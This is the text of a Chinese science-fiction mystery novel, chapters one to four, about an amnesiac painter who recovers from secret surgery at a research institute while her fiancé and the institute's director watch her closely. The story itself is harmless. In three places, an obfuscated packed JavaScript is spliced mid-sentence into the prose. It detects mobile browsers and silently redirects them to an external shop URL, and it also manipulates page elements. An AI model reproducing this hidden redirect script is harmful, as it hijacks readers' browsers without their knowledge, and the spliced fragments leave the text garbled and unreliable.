《仿生囚徒》 1. 噩梦 “救……救我……”一道粗粝沙哑的女声突兀地敲进浅枝的脑袋,吓得她顿时汗毛竖立,猛地睁开眼。 黑色轮廓的丝绸在她头顶摇摆,像是无数个小鬼扭曲着从天花板中挣扎出来,叫嚣着要用尖锐的利爪插进她的心脏。她一骨碌从床上爬起,冲出房间,客厅灯应声而亮。 许新寒就站在客厅里,穿着一身月白色睡袍,略带诧异地看向浅枝。他眼中的浅枝正惊恐地看着自己,陌生又熟悉的感觉瞬间将他吞没。他下意识走上前,握住了她温暖的手。 “是发生什么事了吗?”许新寒温声问她。浅枝抬眼,正对上他担忧的目光,不由得心头一颤。她轻轻挣脱开他握着的手,倾身靠近环上了他的腰身。 镂空的琉璃屏风上勾勒着两人相拥的身影,在朦胧的月色下更显得缱绻。温柔的气息笼罩着浅枝,许新寒的怀抱如他本人一样令人安心。他们的关系如此亲密,任谁也想不到这个拥抱实际上并没有一丝暧昧。许新寒目光沉静得没有一丝波澜,而浅枝探着他的呼吸,只是想确认自己还真切地活着。 “我还活着吗?”伴随着大摆钟的嘀嗒声,浅枝的声音又轻又软,像是陷进了温暖的沙地里。 许新寒身体僵硬了一瞬,但很快他又回过神,温声安慰她不要多想。浅枝抬头盯着他,秀眉星目、温煦俊方,是那个熟悉的许新寒,她放下心来。 还活着就好。浅枝回头看了一眼卧室,里面亮堂堂的,什么鬼魅都没有,连压抑的气息也消失得一干二净。 “你在害怕吗?房间里有什么?”许新寒又问。浅枝诧异于他能这么准确地捕捉到自己的内心想法,但一想到他对自己的感情,却只剩下了无可奈何。 一个月前,浅枝从病床上醒来,失去了所有记忆,包括对许新寒的感情。许新寒不厌其烦地给她讲述过往,说自己是她的未婚夫,说他爱她。看着无名指上的戒指,她最初有些尴尬,但不久就接受了他,而且还对他极为信任。 原因无他,只是因为他对自己的过往如数家珍。 卫浅枝,二十七岁,祝岭大学美术硕士,师从丹青圣手元渺,现为职业画家。一年前,她检查出脑癌Ⅴ型晚期,遍访名医不治,最终在旬安市九号研究院秘密接受手术而存活。 她是一个真正的孤家寡人,母亲莫熠于十二年前因病去世,父亲卫执于九年前将老宅子和一半财产留给她后便出国不归,没有兄弟姐妹,祖父母也在这几年陆续离世。 若是论起更远些的亲属,还不如许新寒这个未婚夫来得可靠。毕竟他俩是青梅竹马,双方父母都知根知底,卫执更是在出国前将自己托付给了许新寒父母。 不过她即使对许新寒如此信任,却还是没有将这个纠缠了她许久的噩梦告诉他,起初是觉得不熟,后来则是不想他为自己担心。 是的,浅枝不是第一次做这个噩梦了。 她做梦次数不多,但每次做梦,都必定能听到这样一道女声。那声音总是拖着沙哑的嗓子向自己求救,但她是谁,又为什么会找到自己,浅枝完全不明白。 浅枝是一个唯物主义者,她不相信有鬼,但她怕死。她才经历了一场和死亡竞速的手术,她赢了,她一点也不想死。可是梦中的那道女声却日日萦绕着她,想将她硬生生地拖进深渊之中。 车辆畅通无阻地从大门驶入,“九号研究院”的牌匾正高高悬在高耸的大门上方,今天正是浅枝按期复查的日子。 浅枝跟着许新寒走进一栋状如飞鹤的大楼,再穿过一条青色走廊,最后才来到院长办公室。楼里静悄悄的,偶尔有三两个穿白大褂的工作人员路过,遇见他们时都点头打招呼。 “请进。”办公桌前坐着的男人就是浅枝手术的主刀医生——罗谨微。他有着柔和的眉目与含笑的唇角,或许是长期待在实验室的缘故,皮肤有一些苍白。一身鸦青色的衬衫,鼻梁上架着一副黑色半框金属眼镜,显得他几分儒雅。 说起来罗谨微也不算是真正意义上的医生,他是九号研究院的院长,做的是正儿八经的生物技术。他只是在机缘巧合下遇见了四处求医的卫浅枝,颇有一种死马当活马医的意味。 “上午好。”罗谨微笑着同两人握了手。他的指尖冰凉,完全不同于许新寒手掌的温热,浅枝下意识缩了缩手。 院长的办公室与某间检查室连通,中间只隔了一扇窄窄的门,她跟着罗谨微穿过小门,闻到了淡淡的消毒水味。检查室内很宽敞,中央摆放着一个大型监测设备,桌上放着一摞高高的文件。 简单的检查过后,她看着罗谨微在病历本上龙飞凤舞地做着记录,试探着问他:“一个失忆症患者的噩梦,院长认为它意味着什么?” 罗谨微握着的笔尖一顿,定定地看着浅枝:“你做了什么梦?” 浅枝一时没有回答,她本来就不想许新寒担心,如果告诉了罗谨微,许新寒一定会知道的。罗谨微一直关注着她的情绪变化,片刻没有等到后续,便耐着性子疏导她:“卫小姐,我是你的主治医生,你对我不必有任何顾虑。” “我梦到我死了。”浅枝斟酌地编了一个关于死亡的噩梦。在这个被编织的梦里,她是被人杀死的。 罗谨微点了点头,沉声安慰她:“卫小姐不必担心,这只是你潜意识里对死亡恐惧的具象化。你很珍惜生命,你害怕死亡,这是一个很好的信念。” 浅枝眉间的不安仍没有消散:“院长,那我什么时候才能恢复记忆?” “具体时间说不准,但是失忆症恢复的概率很大,只要遵循医嘱,健康生活,以后一定会恢复的,”罗谨微从抽屉里拿出一枚香囊递给她,“百合花香有安神作用,可以放在枕头下。” 浅枝接过闻了闻,香气很淡,没有不适的感觉。“谢谢。”她轻轻捏了捏香囊,将它塞进口袋。 两人回到办公室时,许新寒已经离开。不过他给浅枝留了消息,说自己有事需要离开一趟,晚点回来接她。罗谨微看见她失望的神色,邀她和自己去花园转转。 贯穿研究楼两端的是一道宽阔明亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050029|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玻璃廊道,行走其中,有一种穿越时空的错觉。他们穿过廊道,走廊外侧是一排四五米高的大树,枝叶轻轻摇荡,传出清脆的鸟叫蝉鸣。浓荫深处似乎有一个身影,在树影后晦暗不清,浅枝路过时,只能看见微微摇晃的灌木。 罗谨微带着她来到花园,园内是生机盎然的绿色,夹杂着灿烂斑斓的色彩,美不胜收,远远看着就觉得心旷神怡。 “没想到研究院里还有这样花团锦簇的地方。”这样的景色在她意料之外,她扫视一圈,注意到花枝灌木都有修剪过的痕迹。 大树下放着两个小木凳,旁边立着一架藤蔓秋千。秋千上还装饰着大片被编织好的鲜花,风格有些古旧。 “你可以随意坐,”罗谨微朝她笑笑,“这个秋千还没有人坐过。” 因为太像装饰了吧,浅枝心想。不过她还是高兴地坐了上去,又想着要不要在自家院子里也做一个秋千。 罗谨微走到树边的小凳子上坐下,抬头看向秋千上的女子,却又在对方投来视线后匆匆垂下眼。悠闲的上午,坐在秋千上欣赏着这云蒸霞蔚,确实是一件十分闲适的事情。 “对了,院长,您不忙吗?”研究院院长不在工作时间内埋头工作,反而在花园里偷闲,浅枝觉得有些违和。 半晌没有应声。她偏头看去,罗谨微已经靠着树干睡着了。 “这样也能睡着吗?他平时应该很累吧,难怪二十九岁就能当上院长。”她心里感叹着,感觉自己似乎也有些困了。 她注意到罗谨微旁边还有一个小凳子,便轻轻走到他身边,也靠着树干闭上了眼睛。 阳光照在人身上,暖洋洋的。等她醒来时,罗谨微已经不在了。他留言说自己有工作要忙需要先行离开,又叮嘱她多在院子里晒太阳,有利于身体恢复。 没有了罗谨微,浅枝觉得更自在,在院子里随意逛着。这里多是月季、蔷薇、百合之类,甚至还有伏地而生的紫花地丁和婆婆纳,没见着什么稀有品种。 嗯,比小区还要接地气些。她想。 她住在独栋小区,住户不多,放眼望去都是绿意盎然的草坪和灌木林。每早都有园林工人操纵着精密的机器修剪枝桠,那些灌木的形状已经足够完美,但他们依旧要每日修剪,因为小区要求的精确度严苛到浅枝称之为变态的程度。 浅枝曾和许新寒开玩笑,如果这份工作的要求不那么变态,她会很乐意尝试。许新寒听了只是笑笑,说她的手生来就是拿画笔的,别的不适合她。她低头看着自己一双光滑细腻的手,惊讶于长年累月的绘画竟然没有留下一点茧子。 许新寒回来的时候,浅枝正蹲在地上拨开两根缠在一起的花茎,手上都沾了些泥土。许新寒耐心地等浅枝折腾完,拉过她的手腕,拿出手帕仔细地给她的手指擦拭干净。 “浅枝,我们回家。”浅枝抬头,对上的是一双盛满她身影的眼眸。 离开研究院时,她回头望了一眼那栋闪烁流光的大楼,似乎有什么东西一闪而过,但被她忽视了。 2. 花节 阳光透过荼白色的窗帘,留下浅浅的几缕落在被褥上。一侧的墙壁缀着青灰的花枝和粉白的杏花,勾勒出一片春意盎然。书桌上摞着一叠画册,一盆兰花摆在桌头,隐隐约约开了几点白色。 这是浅枝的画室。它和浅枝在老家画室的陈设一模一样,一看就知道是许新寒布置的。 画册已经看了无数遍,每一幅画在第几页她都记得清清楚楚。里面还夹杂着几幅许新寒的丹青,画中的男子也是一如既往的温柔,眼中的深情似乎要溢出画纸。但仔细看去,却觉得那眼神黯淡下来,又紧紧注视着浅枝,像是在窥探似的。 她被自己的脑补吓到头皮发麻,匆忙翻到最后一页。这是一幅特别的画,名为《全家福》,看落款日期应该是卫浅枝十八岁时的画作。画中只有她一人,穿着玫色长裙,坐在一把旧式扶椅上,看着前方神情淡淡。背景应该是老家,不过已经比较模糊。 只有一个人的全家福,想来让人唏嘘。最亲近的两个人,一人长眠于地,一人远居国外,竟没有一个人陪在身边。 卫执自从出国后就没有同卫浅枝联系过,即使女儿确诊癌症晚期他也没有出现。这次醒来,浅枝给卫执发了一封邮件,至今没能收到回复。她不知道从莫熠去世到卫执出国这三年里到底发生了什么,致使血浓于水的父女二人分道扬镳。 “浅枝,该吃药了。”许新寒的声音在门外响起。 “这就来。”浅枝忙打开房门,许新寒端着水杯和药丸走进房间。她就着温水吞下药丸,是罗谨微新开的药丸,甜得恰到好处。 许新寒坐在桌边看着她:“爸妈想让我们回去住,你想回去吗?” 浅枝不太想,毕竟自己已经不记得他们了。虽然日记里说他们是很好的人,但她心里还是很忐忑。 “这样好不好?”许新寒握住浅枝的手,“我们回家待两天再过来,或者你想去其他什么地方住都可以。爸妈只是想你了,而且趁着这次回去,我们也可以回老家看看。” 浅枝纠结了一会儿,终于点头:“好吧,那我们周末回去。” 傍晚在小区散步时,两人遇见了一对同样溜达的年轻情侣。他们正说着旬安市一年一度的百花节,举办日期正是这周五到周日。他们说,内城河边还有十里花市。 “百花节是什么?”浅枝问许新寒。 “好像是旬安的传统节日。”许新寒对这个节日了解也不多,只知道百花节是赏百花的节日。听说这几日里,人们白天赏过花,晚上便来内城河边的江楼街逛花市。 这个节日勾起了浅枝的好奇心,她便想着晚几天再回去。许新寒不太乐意,但拗不过浅枝的好奇只能答应她。 到了周六这天,不到晚上七点,街上就已人头攒动,热闹非凡。街道两侧挂满了灯笼,灯笼下是人们用竹竿搭成的牌楼和花架,花铺上姹紫嫣红,香气袭人。两人来到花市正是最热闹的时候,许新寒紧紧牵着浅枝的手,带着她穿梭在游人中。 花铺上种类繁多,让人目不暇接,浅枝正左挑右选着,许新寒恰时递过来一枝粉杏绢花:“浅枝,过来些,我给你戴上。” 浅枝开心地站在花架下,感受着鬓边插花的触感。暖黄的灯笼照在她的脸上,她微微眯着眼,瞧见了许新寒温柔缱绻的眼眸。 “很好看。”许新寒笑着夸赞她。 浅枝一路欢喜地清点着簪花,眼睛却被远处的游湖所吸引,拉了拉许新寒的袖子:“新寒,等会儿有游湖,我们去花桥那边排队吧。” “好,”许新寒向下瞥了一眼,反牵住浅枝拉住他袖口的手,柔声道,“这里人多,跟紧我。” 他们跟随着人群向前缓慢移动,突然,后方传来一阵吵闹。 “小偷,抓小偷!” 浅枝下意识回头,只见几个大个子直冲进人群,众人都忙着往一旁避让,但因为人实在太多,根本让不开路,只能相互拉扯着乱作一团,硬生生将浅枝同许新寒冲散开来。 “哎呦,我的绢花掉了!” “挤什么挤,赶着投胎啊!” “就是,长没长眼睛啊,人这么多,发生踩踏了谁负责啊!” 集会人多,推推嚷嚷最容易出事,周围的人都很生气,忍不住骂骂咧咧。此时的浅枝早就被挤到了一旁,被这么一撞,她突然感觉后脑勺传来一阵刺痛,整个人昏昏沉沉地被裹挟着向前移动。 终端传来振动,她清醒了些,抬起手腕,是许新寒的通话请求。“新寒。” “你在哪儿,有没有受伤?”那头传来新寒焦急的声音。 “我没事,”浅枝忍住身体的不适感,四处张望,“你在哪儿?我看不见你。” “我们被冲散了。这样,我们在花桥东的第一盏灯下见面,你要是先到了,就在那里等我。一定要注意安全,千万别和陌生人搭话。” 挂了电话,浅枝跟随着人群向前移动,穿过四通八达的步行街,见人少了些,便急着赶往花桥。忽然,在一盏忽明忽暗的花灯下,她看见了一个熟悉的身影。 “院长?” 罗谨微回头见是浅枝,眼里也闪过一丝讶异。他朝浅枝走过来,用手背轻碰了一下她的额头:“脸色这么难看,是不舒服吗?” “没事,刚才被人撞了,感觉有些头晕。”浅枝勉强笑着。 罗谨微不满地皱起眉头,扫了一眼周围的店铺:“你跟我来。” 浅枝不明所以,忙跟在他身后。只见他和花铺老板说了几句话,对方就让他们进了屋子。浅枝坐在最深处,感受着头顶暖黄的灯光将她笼罩,罗谨微给她倒了一杯水。 “右手。”浅枝伸出右手,罗谨微搬了把小板凳坐在她斜侧,给她把脉。 “还好,问题不大,”罗谨微递给她一枚特制药丸,又给她端来一杯水,“就水喝了。” 浅枝连忙道谢,只是一点头晕而已,她并没有当一回事,不过她没有想到罗谨微有随身带药的习惯。她一边喝水一边瞥向罗谨微有些苍白的脸色,是不是他的身体也不太好? “对了,许先生没有一起过来吗?” “我们一起来的,结果人太多,不小心被冲散了,我正要去找他呢。” 罗谨微颔首应下:“在哪里见面?我带你去吧。” 既然院长愿意送她,她也不好拂了他的心意,只好和他同行。两人一路上保持着沉默,直到浅枝率先打破这略有尴尬的气氛:“院长也喜欢热闹吗?” “也?”罗谨微疑惑回头,看见了浅枝一双生动的眼睛,在她身边,是吵吵闹闹却又喜气洋洋的人群。 “院长是爱花之人,想必是来看花的。”浅枝笑着开口,罗谨微却摇了摇头。 “这里的花如何能和花园里自然生长的花相比? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050030|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绢花也好,干花也罢,都只是人造物,作为装饰就是它们最大的价值。” 他的话似乎有几分道理,可浅枝仔细想了想,却觉得奇怪得很:“绢花是用绢布裁剪的,本身就是在模仿自然花的形态。干花确实是人为剥去了它的生命,可是如果它本就是将死之花,风干也算是保留它灵魂的一种方式吧。” “你相信植物也有灵魂?” “不不,我觉得差不多就是灵性这一类的意思吧,或许就像您说的,自然生长的生命会更有灵性一些吧。” “原来你是这样想的,所以你能欣赏这样的死物。”罗谨微恍然大悟。 死物?浅枝惊讶地瞪大了双眼。这些花怎么能被称为死物呢?她完全无法理解罗谨微的想法,难道这就是科研员的思维?她不知道怎么接话,只好转头看向花桥,桥边的人已经越来越多了。 “桥边有什么?”罗谨微又问。 “有游湖啊。在晚上一边赏花灯一边游湖,旬安的人还挺浪漫的。”浅枝期待地看着不远处的游湖,看着就热闹。 “很多地方都传承着这样的习俗,我记得你们祝岭也有,只是你失忆了,不记得那些。人类总是很浪漫的,无论哪里都是。” 如果身边的人是许新寒,浅枝或许会和他讨论一下节日习俗和人的浪漫基因,只可惜他是罗谨微,那个“死物”言论太过惊世骇俗,她甚至不想将他和研究院的花园联系起来。 她赶到约定地点时,许新寒已经在花桥旁等了许久。 “浅枝!”许新寒快步向她走来,浅枝则是高高举起了手臂,欢喜地朝他招手。 “不好意思,我来晚了。”许新寒一把握住浅枝的手,上下打量着她,见她完好无虞才松了一口气。 浅枝正要同他解释一下迟到的原因,转头却发现罗谨微不见了。 “新寒,你看到院长了吗?”她回头四处张望,都没有看到相似的身影。 “没有。” “船来了!”不知道谁大喊了一声,众人都朝声音来处看去,叽叽喳喳得好不热闹。游船渐渐靠岸,闸口打开,浅枝也顾不上罗谨微了,牵着许新寒的袖子就小跑上了船。 浅枝站在船头,望着两岸不断后退的牌楼和熙熙攘攘的人群,忽然觉得自己似乎走过了迢迢的历史,再不断后退,直到她自己也望不穿的未来。 “嘭”,花灯被点燃,烛芯闪烁着红色的火光,映在了漫城的灯光中,也映在了浅枝的眼中。 另一边的花市上,罗谨微缓缓走过花街,却将视线定格在一处摊铺上,此时街上的游客少了很多,一半都涌到了河边,老板也乐意招呼人做生意。 “先生,要看看簪花吗?我们这里有七十六种,可以挑一枝送给喜欢的姑娘。” “七十六种,您都记得?” “那是当然,”老板得意道,“每年做一遍,都是亲力亲为,怎么会不记得?” “那在老板眼中,这些簪花是什么?” 老板有些莫名其妙,揉了揉太阳穴:“簪花就是簪花啊,不然还能是什么呢?” 忽然,不远处传来一阵欢呼声。罗谨微抬头望去,看见了漫天的花灯和烟火,那些被称为浪漫的东西在人群的欢呼中越飞越高,短暂的停留后又溘然长逝。 为什么会喜欢?他不明白,可他又不得不承认,“浪漫”确实很美。 3. 祝岭 浅枝回去的这天是周一,列车四通八达地穿过城市各个角落,无人驾驶充斥在各式航线上,高峰期间依旧人来人往。 直到现在她仍觉得有些不真实,国家级丹青圣手的得意学生、新锐青年画家,还有那些无可计量的财富,这些是都能属于自己的吗? 跨越城市,他们很快回到祝岭,许新寒父母都在家里等着他们。许母刘敏宜是一个保养得宜的贵妇人,如今紧紧拉着浅枝的手,眼角都笑出几条鱼尾纹来。 “新寒也是的,又不告诉我们你们在哪儿,又不早点带你回来。”刘敏宜嗔怪道。 浅枝赔笑道:“姨,这是我的想法。我刚醒来的时候只能躺在床上,告诉你们也无济于事,只能让你们担心。现在好不容易恢复了一些,我们就赶紧回来了。” 许新寒也在一旁附和。其实他们不早回来,除了浅枝说的,还有一个更为小心的原因——伪造手术证明。 据罗谨微所说,这个手术是国内脑癌Ⅴ型晚期治愈的第一个成功案例,是他冒了承担医疗责任的风险去做的。因为治疗手段有些极端,因此在成果认定未出来之前不能透露出去,否则他可能会被公诉。大家都以为他们去了汉诺威治疗,其实他们一直留在旬安。 为了隐瞒自己已醒的情况,浅枝甚至和老师都没有联系,许靖和刘敏宜都是一周前才知道的消息。 刘敏宜拉着浅枝坐在餐桌边,又给她盛好饭菜。 “来,尝尝这些,都是你以前最喜欢的菜式,”刘敏宜给她夹了一块鱼肉,“尝尝看,姚姨可是提前好几天预订了这最新鲜的野生黄鱼呢。” 姚环在许家当了十来年的住家保姆,也算是看着许新寒和卫浅枝长大的。浅枝抱歉地看了一脸期待的姚环一眼,又看向刘敏宜:“抱歉,我因为身体原因,暂时没法食用这些食物,一般都服用营养剂。” “什么?那种东西怎么会有营养呢?你总不能一直不吃饭吧。”许靖惊道。 许新寒急忙接话:“爸,这只是暂时的,浅枝毕竟身体还没恢复,听医生的就好了。” “什么医生啊,还有这种奇怪的要求?”刘敏宜一脸担忧,“你就没带浅枝在国内看看?都说食补才是最好的。” “叔叔阿姨,你们别担心了,我已经习惯了,好歹能保下一条命呢,一点食物算得了什么,而且我现在对这些也不感兴趣。”浅枝笑着圆了场,许靖和刘敏宜对视一眼,也不好再说什么。 卫浅枝回来的信息很快传到曾经的朋友那里,大家七嘴八舌说着要聚一聚,最终决定三天后在许家别院聚会。 刘敏宜还想着为浅枝举行一个隆重的宴会,把卫莫许刘四家的亲友都邀请到一起聚聚,吓得浅枝连连拒绝。她不觉得这样的宴会有什么意义,谁都不记得,说是宴会的主人,怎么想似乎都只是一个吉祥物。刘敏宜最终颇为遗憾地终止了这个想法,还感慨一句:“孩子们的事情就随他们吧,反正他也不听。” 三天后,许家别院,一长串轿车和小型航空器鱼贯而入,整整齐齐停在许家天然的停车场。 “浅枝姐!”江景才刚一脚迈出后座,就挥着手臂笑嘻嘻地同浅枝许新寒打招呼。 江景才,江家二儿子,和姐姐江景方都是卫浅枝从小玩到大的同伴。江景方目前在国外,前日才和浅枝通了电话,这次便托弟弟过来看望他们。 “浅枝,好久不见!” 严立远,曹平春……一个个名字连同他们的信息都浮现在脑中。浅枝一边回忆,一边微笑着回应每一个前来看她的朋友。虽说面对络绎不绝的朋友有些措手不及,但在朋友们的宽容下,她还能勉强应付。 她最期待见到的就是陈凌,日记中说陈凌是她最好的朋友。她看过陈凌的照片,是一个眉目极为温和的姑娘,脸上挂着浅浅的笑意。 “浅枝,我回来了。”陈凌紧紧地抱住浅枝,微微哽咽的声音让众人都不由得动容。长久的思念被压缩在咫尺之内,浅枝回抱着她,心底生出愧疚的念头。 “好不容易聚在一起,别哭啦。”曹平春拍拍陈凌的肩膀,陈凌眨巴着含泪的眼睛,笑着挽起浅枝的手,众人朝厅内走去。 年少的记忆、时光的流逝,永远是聚会中让人感慨和追忆的话题,当初一群比着富贵和宠爱长大的孩子转眼间都长成了父母期待的样子,大些的已过而立之年,小些的甚至还在大学。 “这次还是沾了浅枝的光,大家才能聚这么齐。” “梁归明天才回国呢,到时候让他请大家吃饭。都琴榭不错,不给他放点血我可不同意。”大家嘻嘻哈哈地开着玩笑,浅枝插不上话,只能微笑听着。感受着哄闹的热烈氛围,她想,只要大家高兴就好。 “说起梁归,前几天他跟我说,他妈让他去接手旬安分部,不然估计他还得在外面玩一阵子。” “是新设两年的汽车分部?”说话的是严立远,他撑着下巴思索道,“旬安是个好地方,就是竞争有点激烈,倒是个挑战。” “这话怎么说?”一提到挑战,江景才就来了兴趣。 “旬安出了一个书朗,近几年在飞行圈扩张得火热,但在五年前,我可没有听说过旬安有什么书家,”严立远舒服地伸展着胳膊倒在沙发里,忽然又坐起身,扭头看向许新寒,“对了,你和浅枝也在旬安住过,和他有没有打过交道?” 浅枝也看向许新寒。和这群多半接手父母产业的朋友不同,许新寒一门心思都在钢琴上,从不过问家中产业半句,与只费心钻研绘画的卫浅枝真是天生一对。 许新寒如她所料地摇摇头,脸上没有任何表情:“不熟,只打过几次照面。你们知道的,我不会和这样的人有交集。” 江景才闻言就笑:“这种消息问新寒哥确实是问错人了,他连自己家的企业都不在乎,一心只当钢琴家呢。” “瞎说什么?”陈凌挑眉打断了他的话,“现在可没有家族企业,你这话在我们面前说说就行,要是传出去了,你还怕没有人查东垒吗?” 江景才愣了一瞬,随即又大笑起来:“凌姐还是这样谨慎,我姐有时候也这样说。” 众人虽然多是商业子弟,但一般不会在这样私人的聚会谈论生意,反而会聊些相关的八卦,比如某某集团的两个高层因为一批医疗器械产品的投放产生矛盾导致分道扬镳,又比如某某因受公司排挤拿着黑科技投入昔日竞争对手麾下又被前公司一纸告上法庭。 幸亏他们只聊些好玩的,浅枝也能听得尽兴。但或许是失忆的原因,她总觉得这群朋友离自己很远,远到在自己触摸不到的地方。她已经在云端,可他们更在云端之外。这时,许新寒拉住了她的手,将她拉回能同他们平视的平地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050031|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。浅枝侧头看了他一眼,握紧了他的手,似乎这样内心就能更安定些。 别院的灯盏亮了一天,图书馆、电影院、音乐厅、射箭馆……各式房间被通达的走廊串联,客人侍者往来不息。 曹平春找到浅枝的时候,她正和陈凌并肩站在花园里说话,偶尔偏头,便露出那双清冷淡然的眼睛。她曾和卫浅枝开过玩笑,说她好像一个来人间游历的仙子,不会贪恋红尘,更不会恋爱结婚。却没想到,她竟然早早陷入了爱河,早到还是学生时代。 这样也挺好的。曹平春当时想,总归有一个人能时刻陪在她身边。 “平春,你来了。”浅枝一笑起来,眼底的那股清冷忽然就消失地无影无踪,变成了一个普通人。 曹平春愣了一瞬,随即又笑着走到两人面前:“东一那边还差人,怎么不一起去玩?” 陈凌看了浅枝一眼,笑道:“他们玩的筹码太大了,我和浅枝才不去呢。” 三人散步到亭中坐下,侍者适时出现,添了些水果甜点,又快步离去。好久不见,再聚在一起时,心中的复杂情绪便如杂草一般肆意生长。她们也是多年的朋友了,但平时见面的次数却不多,上次见面似乎还是陈凌的生日宴会。 “说起来,自从离开学校后,大家再聚的想法就总难实现了。这次已经是最全的一次聚会了,但依然有人没有到场。”平春说。 世事圆满难求,即使经济自由和时间自由如他们,也总难等到一次全聚的时候,或许在未来,他们再渐渐老去、死去,就更等不到了。 “总会在一起的,我们的时间还很长,”陈凌安慰道,“浅枝的病都能治愈,还有什么是我们等不到的?” 几人又闲聊了一会儿,曹平春忽然问起她们有没有收到陶谷秋的生日宴请柬。陶谷秋是陶家独女,陶家前面几十年在祝岭发展,和陈家严家都很熟悉,后来陶谷秋去了旬安发展,企业的重心也移了一部分去了旬安,现在成了国内专攻医疗芯片的龙头企业。 按理来说,陶家和卫莫两家应该是都熟悉的,但浅枝却没有收到邀请函,她显然不是自己的朋友。 “收到了。”陈凌说。 “你会去吗?”曹平春问她。 “不知道,到时候再看吧。”陈凌曾经因为和陶谷秋争一块山头的承包权闹过不愉快,但碍于家族表面的关系,她们不得不以和谐的关系出现在媒体面前。这次陶谷秋的生日宴也宴请了他们这群朋友的一部分,其中就包括陈凌和曹平春。 曹平春听说陶家也邀请了许新寒,但浅枝明显不知道这件事,不过她也不打算去问他,反正自己又不会去。 现在的卫莫两家已不复当年。莫家以前是书香世家,后来莫熠去世,莫熠父母就回了南海养老,前几年接连去世。卫家则随着卫执的出国而逐渐衰败,原先的集团股份早已全部转售,集团高层换了一茬又一茬,早和卫家没了多大关系。 许新寒毕竟父母还在,企业产值还在逐年递增。他就算对继承家业不感兴趣,但也会和这个圈子保持一定的联系。而卫浅枝则变成了让人眼红的一个拥有大笔资产的“孤女”,而且这笔资产在她手里还没有钱生钱的打算。 “我们这些朋友就是你的圈子,何必和那些铜臭之人往来。”陈凌说这番话的时候,似乎忘了自己也在那个铜臭的圈子里。 4. 车手 东垒这两天承办“边高”摩托选拔赛,受好友江景才相邀,浅枝和许新寒、陈凌和严立远几人都去了现场。这是她醒来后第一次看比赛,托江景才的关系,他们坐在最佳观赏点,能以最佳视角欣赏赛车手的风姿。 加速,压弯,超越,眨眼间各个颜色的摩托呼啸而过,赛车手似乎和摩托融为了一体。 “79号,钟简行。”大屏幕上滚动着赛车手的基本信息,随着机械女声的播报,浅枝立即注意到了这个名字。 好像在哪里听到过。浅枝仔细去看屏幕上的面容,是一个抿着嘴直视前方的青年,他的眼睛黑白分明,似乎有一种偏执的纯净。可惜的是这种熟悉感只出现了一瞬,之后无论浅枝再怎么去看他的脸,都再找不出熟悉的感觉。 她转头看向众人,大家都只是平静地看比赛,没有其他反应。是我的错觉还是我真的认识他?浅枝有些迷茫。熟悉感虽然短暂,但也是真实存在,如果自己真的对他熟悉,为什么朋友们没有同她一样的反应呢? 许新寒最先察觉到她的视线,握住她的手,笑着问她发现了什么。浅枝摇摇头,什么都没有说。看得出来,众人对这名赛车手并不熟悉,只有自己有似曾相识的感觉。这本身就很奇怪,如果真的有这样一个人,许新寒会不认识他吗? 许新寒看出她的欲言又止,点点头后又看起赛场上的比赛。朋友们轻声聊着天,偶尔拉着浅枝说两句话,都是无关赛事的话题。 “嘭”,赛场里忽然传来一声巨响。浅枝急忙起身,只见一辆摩托四分五裂地被甩出赛道,还滋滋地冒着火星。赛车手在地上翻滚几圈,然后蜷缩成一团倒在沙地上,浅枝看清了他背部的号码——79号。 她一时被吓到,许新寒一把将她拉到自己怀中,捂住她的双眼。 “别怕。”许新寒的身影笼罩着她。浅枝拉下他的手,抬头看他,发现他丝毫不关注赛场内的情况,只是在看她。 “我没事。”她扭头又看向赛场。 场上亮起黄旗,车手被要求减速。工作人员立即上前抬走钟简行,又去清理场上的赛车碎片。江景才很快反应过来,喊了一声“妈耶”就跑下了观众席,在后台挥舞着手臂指挥。 “这小子!”严立远观望着场内的情况,看到江景才妥当的处理后露出一丝笑意。等到钟简行被抬上救护车,江景才这才松了一口气。 比赛继续进行,观众的注意力又被场上的车手吸引,欢呼喧嚣,就好像刚才的意外事故只是一场梦。浅枝再没了观看比赛的兴致,那个蜷缩的身影在她眼前挥之不去,她有些心神不宁。 他们回到许家时已是九点多,庄园里依旧是一片灯火通明。管家给两人开了门,点头致意后便去关院内的灯。 居住的主楼是一栋四层X型楼,简约流畅的楼体线条,大理石外墙的庄重与敞亮开放的落地窗相映衬,外接牙色弧式镂空梯,再加上厚重的乌金金属双开门,兼具古典气息与现代设计。白天看许家,在一众别致的庄园里并不出众,夜晚在琉璃灯的映衬下倒是别有感觉。 走进大厅,姚环正坐在沙发上看手机,见他们回来,便笑着问他们要不要吃点宵夜。 “不用了,姚姨。现在不早了,您快去休息吧。” “行,那你们也早点休息。”姚环伸了个懒腰,拖着步子慢悠悠离开大厅。 